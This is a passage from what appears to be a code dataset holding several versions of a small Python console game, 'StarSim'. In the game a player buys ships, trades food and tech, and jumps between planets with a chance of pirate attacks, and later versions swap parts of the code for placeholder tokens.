print(\"**********************************************************\")\n shipList = planet.getShipyard()\n print(\"Available Ships:\")\n print(\"**********************************************************\")\n i = 0\n for s in shipList:\n print(\"Nr.:\"+str(i)+\":\"+s.toString())\n i += 1\n print(\"**********************************************************\") \n userInput = input(\"Enter the number you would like to by or x to leave:\") \n if (userInput == \"x\"):\n break;\n else:\n ui = int(userInput)\n if (ui <= i):\n if(player.getCredits() > shipList[ui].getPrice()): #has enough money\n if(type(shipList[ui]) == FighterShip):\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print(\"wrong number, try again ....\")\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:# loop\n cleanScreen()\n print(\"****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****\")\n print(\"Enter 1 to jump to a agri planet (risk 5%)\")\n print(\"Enter 2 to jump to a tech planet (risk 10%)\")\n print(\"Enter 3 to jump to a war planet (risk 20%)\")\n userInput = input(\"Or enter x to exit:\")\n risk = 0\n if (userInput == \"x\"):\n return planet\n elif (userInput == \"1\"):\n risk = 5\n elif(userInput == \"2\"):\n risk = 10\n else:\n risk = 20 \n if (random.randint(0,100) <= risk):\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1 \n return Planet.Planet(int(userInput))\n \ndef marketMenu(player, planet):\n while True:# loop\n cleanScreen()\n print(\"*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******\")\n player.printStats()\n print(\"**********************************************************\")\n market = planet.getMarket()\n print(\"Price for Food = \",market[\"Food\"])\n print(\"Price for Tech = \",market[\"Tech\"])\n print(\"**********************************************************\")\n userInput = input(\"Enter 1 for Food, 2 for Tech or x for exit:\")\n str =\"\"\n if (userInput == \"1\"):\n str = \"Food\"\n elif(userInput == \"2\"):\n str= \"Tech\"\n else:\n break\n print(\"**********************************************************\")\n max = 0\n if(market[str]*player.freeCargoUnits <= player.getCredits()):#enough credit?\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits()/market[str])\n print(\"Price for \"+str+\" = \",market[str])\n secondInput = input(\"Would you like to buy (enter b) or sell (enter s)?\")\n if (secondInput == \"b\"):#buying\n print(\"You can buy a maximum of\",max,\"units\")\n nr = input(\"How much would you like to buy? Or press x to exit\")\n if (nr == \"x\"):\n pass\n else:\n nr = int(nr)\n if((player.getCredits() > market[str]*nr) and (nr <= max)): #has enough money and space\n if (str == \"Food\"):\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str]*nr)\n player.updateCargoUnits()\n else:#selling\n if (str == \"Food\"):\n print(\"You can sell a maximum of\",player.getFood(),\"food units\")\n nr = input(\"How much would you like to sell? Or press x to exit\")\n if (nr == \"x\"):\n pass\n else:\n nr = int(nr)\n if (nr <= player.getFood()):\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr*market[\"Food\"])\n else:\n print(\"You can sell a maximum of\",player.getTech(),\"tech units\")\n nr = input(\"How much would you like to sell? Or press x to exit\")\n if (nr == \"x\"):\n pass\n else:\n nr = int(nr)\n if (nr <= player.getTech()):\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr*market[\"Tech\"])\n \n \n \n \ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1,3))\n while notFinished:#main game loop \n cleanScreen()\n if (player.getCredits() < 0):\n print(\"Sorry, but you ran out of credits and therefore lost the game in round,\",turnCounter,\"!\")\n break\n print(\"**********************************************************\")\n print(\"Turn nr.\",turnCounter,\"in this glorious space trading simulation\")\n player.printStats()\n print(\"**********************************************************\")\n print(\"You are on Planet:\",planet.getName())\n print(\"**********************************************************\")\n print(\"Enter 1 to go to the shipyard\")\n print(\"Enter 2 to go to the market\")\n print(\"Enter 3 to go to the spaceport\")\n print(\"Enter exit to leave the game\")\n userinput = input(\"Your Input:\")\n if (userinput == \"1\"):\n shipyardMenu(player, planet)\n elif (userinput == \"2\"):\n marketMenu(player, planet)\n elif (userinput == \"3\"):\n planet = spacePortMenu(player, planet)\n else: \n notFinished = False\n \n \n \n\nprint(\"***************************************\")\nprint(\" Welcome to StarSim\")\nprint(\"***************************************\")\nname = input(\"Please enter your Name:\")\nplayer = Player.Player(name)\nmenu(player)\n\n\n\n\n\n",
"<docstring token>\nimport Ship\nimport Player\nimport Planet\nimport random\nfrom FighterShip import FighterShip\nturnCounter = 0\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\nprint('***************************************')\nprint(' Welcome to StarSim')\nprint('***************************************')\nname = input('Please enter your Name:')\nplayer = Player.Player(name)\nmenu(player)\n",
"<docstring token>\n<import token>\nturnCounter = 0\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\nprint('***************************************')\nprint(' Welcome to StarSim')\nprint('***************************************')\nname = input('Please enter your Name:')\nplayer = Player.Player(name)\nmenu(player)\n",
"<docstring token>\n<import token>\n<assignment token>\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\nprint('***************************************')\nprint(' Welcome to StarSim')\nprint('***************************************')\n<assignment token>\nmenu(player)\n",
"<docstring token>\n<import token>\n<assignment token>\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\ndef spacePirates(player):\n while True:\n cleanScreen()\n print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')\n playerFirepower = player.getTotalFirepower()\n piratesFirepower = int(playerFirepower * (1 + random.randint(-20, \n 20) / 100))\n if random.randint(0, playerFirepower\n ) > playerFirepower / 3 and random.randint(0, piratesFirepower\n ) < piratesFirepower / 3 or playerFirepower == 0:\n print('Damm, you got robbed by the pirates!')\n print('You lost all your cargo and half your money!')\n player.clearTech()\n player.clearFood()\n player.updateCargoUnits()\n player.setCredits(player.getCredits() / 2)\n else:\n print('Lucky you! Your fighters drove them off!')\n print('**********************************************************')\n input('Hit enter to continue')\n break\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n<import token>\n<assignment token>\n\n\ndef cleanScreen():\n for i in range(0, 50):\n print('')\n\n\n<function token>\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 3 to jump to a war planet (risk 20%)')\n userInput = input('Or enter x to exit:')\n risk = 0\n if userInput == 'x':\n return planet\n elif userInput == '1':\n risk = 5\n elif userInput == '2':\n risk = 10\n else:\n risk = 20\n if random.randint(0, 100) <= risk:\n spacePirates(player)\n player.setCredits(player.getCredits() - player.getTotalMaintenance())\n turnCounter += 1\n return Planet.Planet(int(userInput))\n\n\ndef marketMenu(player, planet):\n while True:\n cleanScreen()\n print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')\n player.printStats()\n print('**********************************************************')\n market = planet.getMarket()\n print('Price for Food = ', market['Food'])\n print('Price for Tech = ', market['Tech'])\n print('**********************************************************')\n userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')\n str = ''\n if userInput == '1':\n str = 'Food'\n elif userInput == '2':\n str = 'Tech'\n else:\n break\n print('**********************************************************')\n max = 0\n if market[str] * player.freeCargoUnits <= player.getCredits():\n max = player.freeCargoUnits\n else:\n max = int(player.getCredits() / market[str])\n print('Price for ' + str + ' = ', market[str])\n secondInput = input(\n 'Would you like to buy (enter b) or sell (enter s)?')\n if secondInput == 'b':\n print('You can buy a maximum of', max, 'units')\n nr = input('How much would you like to buy? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if player.getCredits() > market[str] * nr and nr <= max:\n if str == 'Food':\n player.addFood(nr)\n else:\n player.addTech(nr)\n player.setCredits(player.getCredits() - market[str] * nr)\n player.updateCargoUnits()\n elif str == 'Food':\n print('You can sell a maximum of', player.getFood(), 'food units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getFood():\n player.sellFood(nr)\n player.setCredits(player.getCredits() + nr * market['Food']\n )\n else:\n print('You can sell a maximum of', player.getTech(), 'tech units')\n nr = input('How much would you like to sell? Or press x to exit')\n if nr == 'x':\n pass\n else:\n nr = int(nr)\n if nr <= player.getTech():\n player.sellTech(nr)\n player.setCredits(player.getCredits() + nr * market['Tech']\n )\n\n\ndef menu(player):\n global turnCounter\n notFinished = True\n planet = Planet.Planet(random.randint(1, 3))\n while notFinished:\n cleanScreen()\n if player.getCredits() < 0:\n print(\n 'Sorry, but you ran out of credits and therefore lost the game in round,'\n , turnCounter, '!')\n break\n print('**********************************************************')\n print('Turn nr.', turnCounter,\n 'in this glorious space trading simulation')\n player.printStats()\n print('**********************************************************')\n print('You are on Planet:', planet.getName())\n print('**********************************************************')\n print('Enter 1 to go to the shipyard')\n print('Enter 2 to go to the market')\n print('Enter 3 to go to the spaceport')\n print('Enter exit to leave the game')\n userinput = input('Your Input:')\n if userinput == '1':\n shipyardMenu(player, planet)\n elif userinput == '2':\n marketMenu(player, planet)\n elif userinput == '3':\n planet = spacePortMenu(player, planet)\n else:\n notFinished = False\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<docstring token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef shipyardMenu(player, planet):\n while True:\n cleanScreen()\n print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')\n player.printStats()\n print('**********************************************************')\n shipList = planet.getShipyard()\n print('Available Ships:')\n print('**********************************************************')\n i = 0\n for s in shipList:\n print('Nr.:' + str(i) + ':' + s.toString())\n i += 1\n print('**********************************************************')\n userInput = input(\n 'Enter the number you would like to by or x to leave:')\n if userInput == 'x':\n break\n else:\n ui = int(userInput)\n if ui <= i:\n if player.getCredits() > shipList[ui].getPrice():\n if type(shipList[ui]) == FighterShip:\n player.addFighterShip(shipList[ui])\n player.updateFirePower()\n else:\n player.addCargoShip(shipList[ui])\n player.updateCargoUnits()\n player.setCredits(player.getCredits() - shipList[ui].\n getPrice())\n player.updateMaintenance()\n del shipList[ui]\n else:\n print('wrong number, try again ....')\n\n\ndef spacePortMenu(player, planet):\n global turnCounter\n while True:\n cleanScreen()\n print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')\n print('Enter 1 to jump to a agri planet (risk 5%)')\n print('Enter 2 to jump to a tech planet (risk 10%)')\n print('Enter 